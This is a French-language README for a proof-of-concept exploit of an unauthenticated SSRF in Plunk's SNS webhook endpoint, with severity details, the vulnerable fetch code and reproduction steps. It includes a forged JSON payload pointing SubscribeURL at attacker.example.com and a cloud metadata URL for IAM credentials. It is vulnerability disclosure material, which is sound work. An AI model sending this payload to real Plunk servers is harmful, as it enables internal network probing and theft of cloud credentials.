
Preuve de concept d'exploitation pour une vulnérabilité SSRF dans le webhook SNS de Plunk, démontrant une falsification de requête côté serveur non authentifiée via un SubscribeURL non validé.
SSRF via confirmation d'abonnement SNS AWS non validée dans useplunk/plunk
Le point de terminaison API Plunk POST /webhooks/sns récupère un SubscribeURL fourni par l'attaquant sans vérifier la signature cryptographique AWS SNS. Un attaquant non authentifié peut forcer le serveur à effectuer des requêtes HTTP sortantes arbitraires (SSRF).
| Sévérité | Critique — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918 : Server-Side Request Forgery |
| Fichier concerné | apps/api/src/controllers/Webhooks.ts |
| Authentification requise | Aucune |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — aucune validation de signature
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
La charge utile minimale ne comporte que deux champs :
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/Démarrer l'environnement de test Plunk :
docker compose up -d
Démarrer le listener de rappel SSRF :
python3 listener.py
Exécuter l'exploit :
chmod +x exploit.sh
./exploit.sh
Observer le rappel dans la sortie de listener.py, confirmant que le serveur a récupéré l'URL contrôlée par l'attaquant.
| Fichier | Description |
|---|---|
exploit.sh | Script d'exploit de bout en bout — envoie une charge utile SNS falsifiée au point de terminaison vulnérable |
listener.py | Listener de rappel SSRF — capture et journalise les requêtes entrantes provenant du serveur Plunk |
docker-compose.yml | Environnement Docker Compose minimal (Postgres, Redis, Plunk) pour la reproduction locale |